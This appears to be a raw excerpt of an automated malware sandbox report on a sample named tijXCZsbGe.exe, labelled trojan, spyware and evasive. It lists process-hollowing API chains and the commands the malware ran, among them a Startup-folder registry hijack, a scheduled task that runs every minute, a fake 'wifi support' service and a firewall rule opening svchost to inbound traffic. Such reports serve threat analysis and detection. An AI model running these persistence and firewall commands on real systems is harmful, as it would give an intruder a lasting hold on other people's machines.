Source: E748.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E748.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B0F7.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B0F7.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B0F7.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C7FA.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5C89.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5C89.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5C89.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rifsswe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rifsswe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rifsswe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rifsswe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gecrjwsv.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gecrjwsv.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gecrjwsv.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: gecrjwsv.exe.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

Section loaded: mscorjit.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\

Source: tijXCZsbGe.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\xzxafeeu\

Jump to behavior

Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: String function: 0041E120 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: String function: 00632794 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: String function: 0041E120 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: String function: 00422DA0 appears 132 times
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: String function: 0041E520 appears 171 times
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: String function: 0041E500 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: String function: 004048D0 appears 460 times

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 9_2_00630110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	9_2_00630110
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00401962 Sleep,NtTerminateProcess,	10_2_00401962
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_0040196D Sleep,NtTerminateProcess,	10_2_0040196D
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_00402000
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	10_2_0040250A
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00401A0B NtTerminateProcess,	10_2_00401A0B
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_0040201A
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_0040201E
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_2_0040202D
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00402084 LocalAlloc,NtQuerySystemInformation,	10_2_00402084
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00402491 NtOpenKey,	10_2_00402491
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_1_00402000
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	10_1_0040250A
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_1_0040201A
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_1_0040201E
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	10_1_0040202D
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_00402084 LocalAlloc,NtQuerySystemInformation,	10_1_00402084
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_00402491 NtOpenKey,	10_1_00402491
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_054BF5C0 NtUnmapViewOfSection,	18_2_054BF5C0
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_054BF6A0 NtAllocateVirtualMemory,	18_2_054BF6A0

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Code function: 17_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

17_2_00408E26

Source: 9334.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: B0F7.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 5C89.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 8783.exe.5.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 9DFA.exe.5.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 8783.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 8783.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 8783.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 8783.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 9DFA.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 9DFA.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 9DFA.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 9DFA.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: C7FA.exe.5.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577

Source: tijXCZsbGe.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rifsswe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@59/23@82/18

Source: C:\Users\user\AppData\Local\Temp\E748.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		17_2_00409A6B
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: 32_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		32_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Code function: 17_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

17_2_00409A6B

Source: tijXCZsbGe.exe	Virustotal: Detection: 34%
Source: tijXCZsbGe.exe	ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\tijXCZsbGe.exe "C:\Users\user\Desktop\tijXCZsbGe.exe"
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Process created: C:\Users\user\Desktop\tijXCZsbGe.exe "C:\Users\user\Desktop\tijXCZsbGe.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rifsswe C:\Users\user\AppData\Roaming\rifsswe
Source: C:\Users\user\AppData\Roaming\rifsswe	Process created: C:\Users\user\AppData\Roaming\rifsswe C:\Users\user\AppData\Roaming\rifsswe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9334.exe C:\Users\user\AppData\Local\Temp\9334.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7100 -ip 7100
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7100 -s 264
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DB31.exe C:\Users\user\AppData\Local\Temp\DB31.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E748.exe C:\Users\user\AppData\Local\Temp\E748.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F65C.exe C:\Users\user\AppData\Local\Temp\F65C.exe
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xzxafeeu\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description xzxafeeu "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start xzxafeeu
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d"C:\Users\user\AppData\Local\Temp\E748.exe"
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process created: C:\Users\user\AppData\Local\Temp\F65C.exe C:\Users\user\AppData\Local\Temp\F65C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5C89.exe C:\Users\user\AppData\Local\Temp\5C89.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6FB4.exe C:\Users\user\AppData\Local\Temp\6FB4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8783.exe C:\Users\user\AppData\Local\Temp\8783.exe
Source: C:\Users\user\AppData\Local\Temp\6FB4.exe	Process created: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe"
Source: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9DFA.exe C:\Users\user\AppData\Local\Temp\9DFA.exe
Source: C:\Users\user\AppData\Local\Temp\8783.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B0F7.exe C:\Users\user\AppData\Local\Temp\B0F7.exe
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Process created: C:\Users\user\Desktop\tijXCZsbGe.exe "C:\Users\user\Desktop\tijXCZsbGe.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9334.exe C:\Users\user\AppData\Local\Temp\9334.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DB31.exe C:\Users\user\AppData\Local\Temp\DB31.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E748.exe C:\Users\user\AppData\Local\Temp\E748.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F65C.exe C:\Users\user\AppData\Local\Temp\F65C.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Process created: C:\Users\user\AppData\Roaming\rifsswe C:\Users\user\AppData\Roaming\rifsswe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7100 -ip 7100	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7100 -s 264	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xzxafeeu\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description xzxafeeu "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start xzxafeeu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process created: C:\Users\user\AppData\Local\Temp\F65C.exe C:\Users\user\AppData\Local\Temp\F65C.exe	Jump to behavior
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\9334.tmp

Jump to behavior

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

Code function: 0_2_00419E0A SetLastError,GetConsoleCursorInfo,GetProfileStringA,WriteProfileSectionW,GetProfileStringA,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryW,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeaps,WritePrivateProfileStringA,GetPriorityClass,

0_2_00419E0A

Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4728:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7100
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5572:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1004:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4460:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:4972:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7024:120:WilError_01

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: 0.0	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: hijaduvinijebup	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: mocisacatenu	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: wapejan	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: wovag	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: cbH	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: Piruvora	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: gukafipa	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: mawecamaxe	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: Hiwejanoji	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: Pusazide	0_2_0041A069
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Command line argument: hukujid	0_2_0041A069
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Command line argument: cbH	17_2_00419C89
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Command line argument: cbH	17_2_00419C89
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Command line argument: cbH	32_2_00419C89
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Command line argument: cbH	32_2_00419C89

Source: F65C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: F65C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.F65C.exe.ab0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.F65C.exe.ab0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.F65C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.F65C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.F65C.exe.ab0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.F65C.exe.ab0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
